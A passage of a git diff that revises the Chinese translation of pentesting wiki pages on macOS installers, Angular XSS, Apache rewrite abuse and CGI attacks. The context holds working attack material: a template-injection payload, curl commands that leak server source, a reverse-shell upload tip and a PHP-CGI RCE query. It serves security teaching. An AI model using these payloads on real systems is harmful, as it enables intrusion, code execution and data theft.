macos-bundles.md ## Dyld 共享库缓存 (SLC) -在 macOS(和 iOS)中,所有系统共享库,如框架和 dylibs,**合并为一个单一文件**,称为 **dyld 共享缓存**。这提高了性能,因为代码可以更快地加载。 +在 macOS(和 iOS)中,所有系统共享库,如框架和 dylibs,**合并为一个单一文件**,称为 **dyld 共享缓存**。这提高了性能,因为代码可以更快加载。 在 macOS 中,这位于 `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`,在旧版本中,您可能会在 **`/System/Library/dyld/`** 中找到 **共享缓存**。\ 在 iOS 中,您可以在 **`/System/Library/Caches/com.apple.dyld/`** 中找到它们。 -与 dyld 共享缓存类似,内核和内核扩展也被编译到内核缓存中,该缓存在启动时加载。 +与 dyld 共享缓存类似,内核和内核扩展也被编译到内核缓存中,在启动时加载。 -为了从单个文件 dylib 共享缓存中提取库,可以使用二进制文件 [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip),虽然现在可能无法使用,但您也可以使用 [**dyldextractor**](https://github.com/arandomdev/dyldextractor): +为了从单一文件 dylib 共享缓存中提取库,可以使用二进制文件 [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip),虽然现在可能无法使用,但您也可以使用 [**dyldextractor**](https://github.com/arandomdev/dyldextractor): ```bash # dyld_shared_cache_util dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -100,13 +100,13 @@ dyldex_all [dyld_shared_cache_path] # Extract all 一些提取器可能无法工作,因为 dylibs 是与硬编码地址预链接的,因此它们可能会跳转到未知地址。 > [!TIP] -> 还可以通过在 Xcode 中使用模拟器下载其他 \*OS 设备的共享库缓存。它们将下载到:ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`,例如:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`。 +> 还可以通过在 Xcode 中使用模拟器下载其他 \*OS 设备的共享库缓存。它们将下载到:ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`,例如:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` ### 映射 SLC -**`dyld`** 使用系统调用 **`shared_region_check_np`** 来知道 SLC 是否已被映射(返回地址),并使用 **`shared_region_map_and_slide_np`** 来映射 SLC。 +**`dyld`** 使用系统调用 **`shared_region_check_np`** 来知道 SLC 是否已映射(返回地址),并使用 **`shared_region_map_and_slide_np`** 来映射 SLC。 -请注意,即使 SLC 在第一次使用时被滑动,所有 **进程** 也使用 **相同的副本**,这 **消除了 ASLR** 保护,如果攻击者能够在系统中运行进程。这在过去实际上被利用过,并通过共享区域分页器修复。 +请注意,即使 SLC 在第一次使用时滑动,所有 **进程** 也使用 **相同的副本**,这 **消除了 ASLR** 保护,如果攻击者能够在系统中运行进程。这在过去实际上被利用过,并通过共享区域分页器修复。 分支池是小的 Mach-O dylibs,它在映像映射之间创建小空间,使得无法插入函数。 @@ -114,8 +114,8 @@ dyldex_all [dyld_shared_cache_path] # Extract all 使用环境变量: -- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> 这将允许加载新的共享库缓存。 -- **`DYLD_SHARED_CACHE_DIR=avoid`** 并手动用指向共享缓存的符号链接替换库与真实库(您需要提取它们)。 +- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> 这将允许加载新的共享库缓存 +- **`DYLD_SHARED_CACHE_DIR=avoid`** 并手动用指向共享缓存的符号链接替换库(您需要提取它们) ## 特殊文件权限 @@ -128,9 +128,9 @@ dyldex_all [dyld_shared_cache_path] # Extract all 文件中可以设置一些标志,使文件表现得不同。您可以使用 `ls -lO /path/directory` **检查目录中文件的标志**。 - **`uchg`**:被称为 **uchange** 标志将 **防止任何操作** 更改或删除 **文件**。要设置它,请执行:`chflags uchg file.txt` -- 根用户可以 **删除标志** 并修改文件。 +- root 用户可以 **删除标志** 并修改文件 - **`restricted`**:此标志使文件受到 **SIP 保护**(您无法将此标志添加到文件)。 -- **`Sticky bit`**:如果目录具有粘滞位,**只有** 该 **目录的所有者或根用户可以重命名或删除** 文件。通常,这在 /tmp 目录上设置,以防止普通用户删除或移动其他用户的文件。 +- **`Sticky bit`**:如果目录具有粘滞位,**只有** 该 **目录的所有者或 root 可以重命名或删除** 文件。通常,这在 /tmp 目录上设置,以防止普通用户删除或移动其他用户的文件。 所有标志可以在文件 `sys/stat.h` 中找到(使用 `mdfind stat.h | grep stat.h` 查找),并且是: @@ -161,7 +161,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all 可以为 **目录** 授予这些权限:`list`、`search`、`add_file`、`add_subdirectory`、`delete_child`、`delete_child`。\ 对于 **文件**:`read`、`write`、`append`、`execute`。 -当文件包含 ACLs 时,您将在列出权限时 **找到一个 "+",如**: +当文件包含 ACLs 时,您将 **在列出权限时找到一个 "+",如**: ```bash ls -ld Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies @@ -215,7 +215,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf 扩展属性 `com.apple.decmpfs` 表示文件是加密存储的,`ls -l` 将报告 **大小为 0**,压缩数据存储在此属性中。每当访问该文件时,它将在内存中解密。 -可以使用 `ls -lO` 查看此属性,标记为压缩,因为压缩文件也带有标志 `UF_COMPRESSED`。如果通过 `chflags nocompressed ` 删除压缩文件的此标志,系统将不知道该文件是压缩的,因此无法解压并访问数据(它会认为文件实际上是空的)。 +此属性可以通过 `ls -lO` 查看,标记为压缩,因为压缩文件也带有标志 `UF_COMPRESSED`。如果通过 `chflags nocompressed ` 删除压缩文件的此标志,系统将不知道该文件是压缩的,因此无法解压并访问数据(它会认为该文件实际上是空的)。 工具 afscexpand 可用于强制解压文件。 @@ -227,15 +227,15 @@ Mac OS 二进制文件通常被编译为 **universal binaries**。一个 **unive universal-binaries-and-mach-o-format.md {{#endref}} -## macOS 进程内存 +## macOS Process Memory -## macOS 内存转储 +## macOS memory dumping {{#ref}} macos-memory-dumping.md {{#endref}} -## 风险类别文件 Mac OS +## Risk Category Files Mac OS 目录 `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` 存储有关 **不同文件扩展名相关风险的信息**。该目录将文件分类为不同的风险级别,影响 Safari 下载这些文件时的处理方式。类别如下: @@ -244,9 +244,9 @@ macos-memory-dumping.md - **LSRiskCategoryUnsafeExecutable**:此类别下的文件 **触发警告**,指示该文件是一个应用程序。这是一个安全措施,用于提醒用户。 - **LSRiskCategoryMayContainUnsafeExecutable**:此类别适用于可能包含可执行文件的文件,例如归档文件。除非 Safari 能验证所有内容是安全或中性的,否则将 **触发警告**。 -## 日志文件 +## Log files -- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**:包含有关下载文件的信息,例如下载来源的 URL。 +- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**:包含有关下载文件的信息,例如它们的下载 URL。 - **`/var/log/system.log`**:OSX 系统的主日志。com.apple.syslogd.plist 负责执行 syslogging(您可以通过在 `launchctl list` 中查找 "com.apple.syslogd" 来检查它是否被禁用)。 - **`/private/var/log/asl/*.asl`**:这些是 Apple 系统日志,可能包含有趣的信息。 - **`$HOME/Library/Preferences/com.apple.recentitems.plist`**:通过 "Finder" 存储最近访问的文件和应用程序。 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md index 9cdf7aa74..df381d899 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md @@ -21,13 +21,13 @@ macOS 中的 Bundles 作为各种资源的容器,包括应用程序、库和 - **CFBundleExecutable**: 指定位于 `Contents/MacOS` 目录中的主可执行文件的名称。 - **CFBundleIdentifier**: 提供应用程序的全局标识符,macOS 在应用程序管理中广泛使用。 -- **LSMinimumSystemVersion**: 指示运行应用程序所需的最低 macOS 版本。 +- **LSMinimumSystemVersion**: 指示运行该应用程序所需的最低 macOS 版本。 ### 探索 Bundles 要探索 bundle 的内容,例如 `Safari.app`,可以使用以下命令: `bash ls -lR /Applications/Safari.app/Contents` -此探索揭示了如 `_CodeSignature`、`MacOS`、`Resources` 等目录,以及 `Info.plist` 等文件,每个文件都在保护应用程序、定义其用户界面和操作参数方面发挥独特作用。 +此探索揭示了如 `_CodeSignature`、`MacOS`、`Resources` 等目录,以及如 `Info.plist` 的文件,每个文件都在保护应用程序、定义其用户界面和操作参数方面发挥独特作用。 #### 其他 Bundle 目录 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index aaa1be7ae..f2a6f6674 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -51,17 +51,17 @@ DMG 文件的层级结构可能会根据内容而有所不同。然而,对于 - 应用程序 (.app):这就是实际的应用程序。在 macOS 中,应用程序通常是一个包含许多单独文件和文件夹的包,这些文件和文件夹构成了该应用程序。 - 应用程序链接:这是指向 macOS 中应用程序文件夹的快捷方式。这样做的目的是方便您安装应用程序。您可以将 .app 文件拖到此快捷方式上以安装该应用程序。 -## 通过 pkg 滥用提升权限 +## 通过 pkg 滥用进行特权提升 ### 从公共目录执行 -如果预安装或后安装脚本例如从 **`/var/tmp/Installerutil`** 执行,攻击者可以控制该脚本,从而在每次执行时提升权限。或者另一个类似的例子: +如果预安装或后安装脚本例如从 **`/var/tmp/Installerutil`** 执行,攻击者可以控制该脚本,从而在每次执行时提升特权。或者另一个类似的例子:
https://www.youtube.com/watch?v=iASSG0_zobQ

https://www.youtube.com/watch?v=kCXhIYtODBg

### AuthorizationExecuteWithPrivileges -这是一个 [公共函数](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg),多个安装程序和更新程序将调用它以 **以 root 身份执行某些操作**。此函数接受要 **执行** 的 **文件** 的 **路径** 作为参数,然而,如果攻击者能够 **修改** 此文件,他将能够 **滥用** 其以 root 身份执行以 **提升权限**。 +这是一个 [公共函数](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg),多个安装程序和更新程序将调用它以 **以 root 身份执行某些操作**。此函数接受要 **执行** 的 **文件** 的 **路径** 作为参数,然而,如果攻击者能够 **修改** 此文件,他将能够 **滥用** 其以 root 身份执行以 **提升特权**。 ```bash # Breakpoint in the function to check wich file is loaded (lldb) b AuthorizationExecuteWithPrivileges @@ -83,7 +83,7 @@ For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](htt ### 分发 xml 中的 JS -可以在包的 **分发 xml** 文件中添加 **`

test

"; Angular 利用模板动态构建页面。该方法涉及将模板表达式用双大括号 (`{{}}`) 包围,以便 Angular 进行评估。通过这种方式,框架提供了额外的功能。例如,模板 `{{1+1}}` 将显示为 2。 -通常,Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 \`< > ' " \`\)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、其属性和变量。因此,模板注入攻击可能如下所示: +通常,Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 \`< > ' " \`)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、属性和变量。因此,模板注入攻击可能如下所示: ```jsx //app.component.ts const _userInput = '{{constructor.constructor(\'alert(1)\'()}}' @@ -231,7 +231,7 @@ template: '

title

' + _userInput #### 服务器端渲染 (SSR) -与在浏览器的DOM中发生的CSR不同,Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别,Angular Universal仍然应用与CSR相同的清理机制来增强SSR安全性。在SSR中发现模板注入漏洞的方法与CSR相同,因为使用的模板语言是相同的。 +与在浏览器的DOM中发生的CSR不同,Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别,Angular Universal仍然应用与CSR相同的清理机制以增强SSR安全性。在SSR中发现模板注入漏洞的方法与CSR相同,因为使用的模板语言是相同的。 当然,在使用第三方模板引擎如Pug和Handlebars时,也有可能引入新的模板注入漏洞。 @@ -292,9 +292,9 @@ document.body.appendChild(a); ``` #### Angular 类 -在 Angular 中,有一些类可以用于处理 DOM 元素:`ElementRef`、`Renderer2`、`Location` 和 `Document`。关于后两个类的详细描述在 **Open redirects** 部分中给出。前两个类的主要区别在于 `Renderer2` API 提供了一个在 DOM 元素和组件代码之间的抽象层,而 `ElementRef` 仅仅持有对元素的引用。因此,根据 Angular 文档,`ElementRef` API 应仅在需要直接访问 DOM 时作为最后的手段使用。 +在 Angular 中,有一些类可以用于处理 DOM 元素:`ElementRef`、`Renderer2`、`Location` 和 `Document`。关于后两个类的详细描述在 **Open redirects** 部分中给出。前两个类的主要区别在于 `Renderer2` API 提供了 DOM 元素和组件代码之间的抽象层,而 `ElementRef` 仅持有对元素的引用。因此,根据 Angular 文档,`ElementRef` API 应仅在需要直接访问 DOM 时作为最后的手段使用。 -* `ElementRef` 包含属性 `nativeElement`,可以用于操作 DOM 元素。然而,不当使用 `nativeElement` 可能导致 XSS 注入漏洞,如下所示: +* `ElementRef` 包含属性 `nativeElement`,可用于操作 DOM 元素。然而,不当使用 `nativeElement` 可能导致 XSS 注入漏洞,如下所示: ```tsx //app.component.ts @@ -315,7 +315,7 @@ this.elementRef.nativeElement.appendChild(s); } } ``` -* 尽管 `Renderer2` 提供的 API 可以安全使用,即使在不支持直接访问本地元素的情况下,但它仍然存在一些安全缺陷。使用 `Renderer2`,可以通过 `setAttribute()` 方法在 HTML 元素上设置属性,而该方法没有 XSS 预防机制。 +* 尽管 `Renderer2` 提供的 API 可以安全使用,即使在不支持直接访问本地元素的情况下,它仍然存在一些安全缺陷。使用 `Renderer2`,可以通过 `setAttribute()` 方法在 HTML 元素上设置属性,但该方法没有 XSS 预防机制。 ```tsx //app.component.ts @@ -371,7 +371,7 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', 'Click me! ``` -在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,如 `setStyle()`、`createComment()` 和 `setValue()`,与 XSS 和 CSS 注入的关系。然而,由于它们的功能限制,我们未能找到这些方法的有效攻击向量。 +在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,如 `setStyle()`、`createComment()` 和 `setValue()`,与 XSS 和 CSS 注入的关系。然而,由于这些方法的功能限制,我们未能找到有效的攻击向量。 #### jQuery @@ -450,7 +450,7 @@ $palias.append(html); * `window.location.href`(和 `document.location.href`) -获取当前 DOM 位置对象的规范方法是使用 `window.location`。它也可以用于将浏览器重定向到新页面。因此,控制该对象使我们能够利用开放重定向漏洞。 +获取当前 DOM 位置对象的标准方法是使用 `window.location`。它也可以用于将浏览器重定向到新页面。因此,控制该对象使我们能够利用开放重定向漏洞。 ```tsx //app.component.ts @@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank") #### Angular 类 -* 根据 Angular 文档,Angular `Document` 与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。`Document.location` 属性和方法可能是成功的开放重定向攻击的入口,如示例所示: +* 根据 Angular 文档,Angular `Document` 与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。`Document.location` 属性和方法可能是成功开放重定向攻击的入口,如示例所示: ```tsx //app.component.ts @@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about'; //app.component.html ``` -* 在研究阶段,我们还审查了 Angular `Location` 类的开放重定向漏洞,但未发现有效向量。`Location` 是一个 Angular 服务,应用程序可以使用它与浏览器的当前 URL 进行交互。该服务有几个方法来操作给定的 URL - `go()`、`replaceState()` 和 `prepareExternalUrl()`。然而,我们无法使用它们进行外部域的重定向。例如: +* 在研究阶段,我们还审查了 Angular `Location` 类的开放重定向漏洞,但未发现有效的向量。`Location` 是一个 Angular 服务,应用程序可以使用它与浏览器的当前 URL 进行交互。该服务有几个方法来操作给定的 URL - `go()`、`replaceState()` 和 `prepareExternalUrl()`。然而,我们无法使用它们进行外部域的重定向。例如: ```tsx //app.component.ts diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index afc4fc887..dcdf553b0 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -33,7 +33,7 @@ Linux - **路径截断** -可以像以下规则示例一样滥用`mod_rewrite`,通过简单地添加一个`?`来移除预期路径的最后一部分,从而访问文件系统中的其他文件: +可以像以下规则示例中那样滥用`mod_rewrite`,通过简单地添加一个`?`来移除预期路径的最后一部分,从而访问文件系统中的其他文件: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -79,7 +79,7 @@ Require valid-user DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -一个关于Apache的有趣事实是,之前的重写将尝试从documentRoot和根目录访问文件。因此,对`https://server/abouth.html`的请求将在文件系统中检查`/var/www/html/about.html`和`/about.html`。这基本上可以被滥用来访问文件系统中的文件。 +一个关于Apache的有趣事实是,之前的重写将尝试从documentRoot和根目录访问文件。因此,对`https://server/abouth.html`的请求将在文件系统中检查`/var/www/html/about.html`和`/about.html`中的文件。这基本上可以被滥用来访问文件系统中的文件。 #### **服务器端源代码泄露** @@ -97,7 +97,7 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F ``` - **泄露 PHP 源代码** -如果一个服务器有不同的域名,其中一个是静态域名,这可以被利用来遍历文件系统并泄露 php 代码: +如果服务器有不同的域名,其中一个是静态域名,这可以被利用来遍历文件系统并泄露 php 代码: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -112,7 +112,7 @@ AllowOverride None Require all denied ``` -然而,[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 操作系统默认允许 `/usr/share`: +然而,默认情况下,[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 操作系统允许 `/usr/share`: ```xml AllowOverride None @@ -123,28 +123,28 @@ Require all granted **本地小工具导致信息泄露** -- **Apache HTTP Server** 与 **websocketd** 可能会在 **/usr/share/doc/websocketd/examples/php/** 暴露 **dump-env.php** 脚本,这可能会泄露敏感的环境变量。 -- 使用 **Nginx** 或 **Jetty** 的服务器可能会通过其默认的网页根目录暴露敏感的Web应用程序信息(例如,**web.xml**),这些根目录位于 **/usr/share** 下: +- **Apache HTTP Server** 与 **websocketd** 可能会在 **/usr/share/doc/websocketd/examples/php/** 暴露 **dump-env.php** 脚本,这可能会泄露敏感环境变量。 +- 使用 **Nginx** 或 **Jetty** 的服务器可能会通过其默认的 web 根目录暴露敏感的 web 应用程序信息(例如,**web.xml**),这些根目录位于 **/usr/share** 下: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**本地小工具导致XSS** +**本地小工具导致 XSS** - 在安装了 **LibreOffice** 的 Ubuntu Desktop 上,利用帮助文件的语言切换功能可能导致 **跨站脚本攻击 (XSS)**。通过操纵 **/usr/share/libreoffice/help/help.html** 的 URL,可以重定向到恶意页面或旧版本,使用 **不安全的 RewriteRule**。 -**本地小工具导致LFI** +**本地小工具导致 LFI** - 如果安装了 PHP 或某些前端包,如 **JpGraph** 或 **jQuery-jFeed**,其文件可能被利用来读取敏感文件,如 **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**本地小工具导致SSRF** +**本地小工具导致 SSRF** -- 利用 **MagpieRSS的 magpie_debug.php** 在 **/usr/share/php/magpierss/scripts/magpie_debug.php**,可以轻松创建 SSRF 漏洞,为进一步的攻击提供通道。 +- 利用 **MagpieRSS 的 magpie_debug.php** 在 **/usr/share/php/magpierss/scripts/magpie_debug.php**,可以轻松创建 SSRF 漏洞,为进一步的攻击提供通道。 -**本地小工具导致RCE** +**本地小工具导致 RCE** - **远程代码执行 (RCE)** 的机会广泛,存在脆弱的安装,如过时的 **PHPUnit** 或 **phpLiteAdmin**。这些可以被利用来执行任意代码,展示了本地小工具操作的广泛潜力。 @@ -158,13 +158,13 @@ Require all granted - **MediaWiki 配置**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp 配置**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -此外,滥用符号链接可以获得 **Redmine中的RCE**。 +此外,滥用符号链接可以获得 **Redmine 中的 RCE**。 ### 处理程序混淆 -此攻击利用了 `AddHandler` 和 `AddType` 指令之间功能的重叠,这两者都可以用于 **启用 PHP 处理**。最初,这些指令影响服务器内部结构中的不同字段(分别为 `r->handler` 和 `r->content_type`)。然而,由于遗留代码,Apache 在某些条件下可以互换处理这些指令,如果前者被设置而后者未设置,则将 `r->content_type` 转换为 `r->handler`。 +此攻击利用了 `AddHandler` 和 `AddType` 指令之间功能的重叠,这两者都可以用来 **启用 PHP 处理**。最初,这些指令影响服务器内部结构中的不同字段(分别为 `r->handler` 和 `r->content_type`)。然而,由于遗留代码,Apache 在某些条件下可以互换处理这些指令,如果前者被设置而后者未设置,则将 `r->content_type` 转换为 `r->handler`。 -此外,在 Apache HTTP Server (`server/config.c#L420`) 中,如果在执行 `ap_run_handler()` 之前 `r->handler` 为空,服务器 **使用 `r->content_type` 作为处理程序**,有效地使 `AddType` 和 `AddHandler` 在效果上相同。 +此外,在 Apache HTTP Server (`server/config.c#L420`) 中,如果在执行 `ap_run_handler()` 之前 `r->handler` 为空,服务器 **将 `r->content_type` 作为处理程序使用**,有效地使 `AddType` 和 `AddHandler` 在效果上相同。 #### **覆盖处理程序以泄露 PHP 源代码** @@ -177,7 +177,7 @@ TODO: Orange 尚未披露此漏洞 ### **调用任意处理程序** -如果攻击者能够控制服务器响应中的 **`Content-Type`** 头,他将能够 **调用任意模块处理程序**。然而,在攻击者控制这一点时,请求的大部分处理过程将已完成。然而,可以通过滥用 `Location` 头 **重新启动请求过程**,因为如果 **返回的 `Status` 是 200 且 `Location` 头以 `/` 开头,则响应被视为服务器端重定向,应该被处理**。 +如果攻击者能够控制服务器响应中的 **`Content-Type`** 头,他将能够 **调用任意模块处理程序**。然而,在攻击者控制这一点时,请求的大部分处理过程将已完成。然而,可以通过滥用 `Location` 头 **重新启动请求过程**,因为如果 **返回的 `Status` 为 200 且 `Location` 头以 `/` 开头,则响应被视为服务器端重定向,应该被处理**。 根据 [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875)(关于 CGI 的规范)在 [第 6.2.2 节](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) 定义了本地重定向响应行为: @@ -186,11 +186,11 @@ TODO: Orange 尚未披露此漏洞 因此,要执行此攻击,需要以下漏洞之一: - CGI 响应头中的 CRLF 注入 -- SSRF 完全控制响应头 +- 完全控制响应头的 SSRF #### **任意处理程序导致信息泄露** -例如 `/server-status` 应仅在本地可访问: +例如,`/server-status` 应仅在本地可访问: ```xml SetHandler server-status diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 6aa9d211e..d27917596 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -2,11 +2,12 @@ # 信息 -**CGI 脚本是 perl 脚本**,因此,如果您已经攻陷了一个可以执行 _**.cgi**_ 脚本的服务器,您可以 **上传一个 perl 反向 shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\),**将扩展名**从 **.pl** 更改为 **.cgi**,给予 **执行权限** \(`chmod +x`\),并 **通过网页浏览器访问** 反向 shell 以执行它。为了测试 **CGI 漏洞**,建议使用 `nikto -C all` \(以及所有插件\) +**CGI 脚本是 perl 脚本**,因此,如果您已经攻陷了一个可以执行 _**.cgi**_ 脚本的服务器,您可以 **上传一个 perl 反向 shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\),**将扩展名**从 **.pl** 更改为 **.cgi**,给予 **执行权限** \(`chmod +x`\),并 **通过网页浏览器访问** 反向 shell 以执行它。 +为了测试 **CGI 漏洞**,建议使用 `nikto -C all` \(以及所有插件\) # **ShellShock** -**ShellShock** 是一个影响广泛使用的 **Bash** 命令行 shell 的 **漏洞**,该 shell 运行在基于 Unix 的操作系统中。它针对 Bash 运行应用程序传递的命令的能力。漏洞存在于 **环境变量** 的操控中,这些变量是动态命名的值,影响计算机上进程的运行方式。攻击者可以通过将 **恶意代码** 附加到环境变量来利用这一点,该代码在接收到变量时执行。这使得攻击者有可能攻陷系统。 +**ShellShock** 是一个影响广泛使用的 **Bash** 命令行 shell 的 **漏洞**,该 shell 运行在基于 Unix 的操作系统中。它针对 Bash 运行应用程序传递的命令的能力。漏洞在于对 **环境变量** 的操控,这些变量是动态命名的值,影响计算机上进程的运行方式。攻击者可以通过将 **恶意代码** 附加到环境变量来利用这一点,该代码在接收到变量时执行。这使得攻击者有可能攻陷系统。 利用此漏洞,**页面可能会抛出错误**。 @@ -56,7 +57,7 @@ CGI 为 http 请求中的每个头创建一个环境变量。例如:“host:we # 旧 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) 基本上,如果 cgi 是活动的并且 php 是“旧的” \(<5.3.12 / < 5.4.2\),您可以执行代码。 -为了利用此漏洞,您需要访问 web 服务器的某个 PHP 文件,而不发送参数 \(特别是没有发送字符“=”\)。 +为了利用此漏洞,您需要访问 web 服务器的某个 PHP 文件而不发送参数 \(特别是没有发送字符“=”\)。 然后,为了测试此漏洞,您可以访问例如 `/index.php?-s` \(注意 `-s`\),**应用程序的源代码将出现在响应中**。 然后,为了获得 **RCE**,您可以发送这个特殊查询:`/?-d allow_url_include=1 -d auto_prepend_file=php://input` 和 **要在请求的主体中执行的 PHP 代码。 diff --git a/src/network-services-pentesting/pentesting-web/code-review-tools.md b/src/network-services-pentesting/pentesting-web/code-review-tools.md index 4356f08c8..871470112 100644 --- a/src/network-services-pentesting/pentesting-web/code-review-tools.md +++ b/src/network-services-pentesting/pentesting-web/code-review-tools.md @@ -19,11 +19,11 @@ #### 支持的语言 -| 类别 | 语言 | -| ----------- | -------------------------------------------------------------------------------------------------- | -| GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX | -| Beta | Kotlin · Rust | -| Experimental| Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · | +| 类别 | 语言 | +| ------------ | --------------------------------------------------------------------------------------------------- | +| GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX | +| Beta | Kotlin · Rust | +| Experimental | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · | #### 快速开始 ```bash @@ -319,7 +319,7 @@ jar cmvf META-INF/MANIFEST.MF test.jar test.class | 创建 Jar | jar -cmf META-INF/MANIFEST.MF \[output jar] \* | | Base64 SHA256 | sha256sum \[file] \| cut -d' ' -f1 \| xxd -r -p \| base64 | | 移除签名 | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA | -| 从 Jar 中删除 | zip -d \[jar] \[file to remove] | +| 从 Jar 删除 | zip -d \[jar] \[file to remove] | | 反编译类 | procyon -o . \[path to class] | | 反编译 Jar | procyon -jar \[jar] -o \[output directory] | | 编译类 | javac \[path to .java file] | @@ -382,9 +382,9 @@ https://github.com/securego/gosec - [https://github.com/j4k0xb/webcrack](https://github.com/j4k0xb/webcrack) - > 反混淆 obfuscator.io,反压缩和解包打包的 javascript - [https://github.com/jehna/humanify](https://github.com/jehna/humanify) -- > 使用 ChatGPT 反压缩 Javascript 代码 此工具使用大型语言模型(如 ChatGPT 和 llama2)及其他工具来反压缩 Javascript 代码。请注意,LLM 不会进行任何结构性更改 – 它们仅提供重命名变量和函数的提示。重任由 Babel 在 AST 级别完成,以确保代码保持 1-1 等价。 +- > 使用 ChatGPT 反压缩 Javascript 代码 此工具使用大型语言模型(如 ChatGPT 和 llama2)及其他工具来反压缩 Javascript 代码。请注意,LLMs 不会进行任何结构性更改 – 它们仅提供重命名变量和函数的提示。重任由 Babel 在 AST 级别完成,以确保代码保持 1-1 等价。 - [https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html](https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html) -- > 使用 LLM 反转 JavaScript 变量名压缩 +- > 使用 LLMs 反转 JavaScript 变量名压缩 3. 使用 `console.log()`; - 找到返回值并将其更改为 `console.log();`,以便打印反混淆的 js,而不是执行它。 diff --git 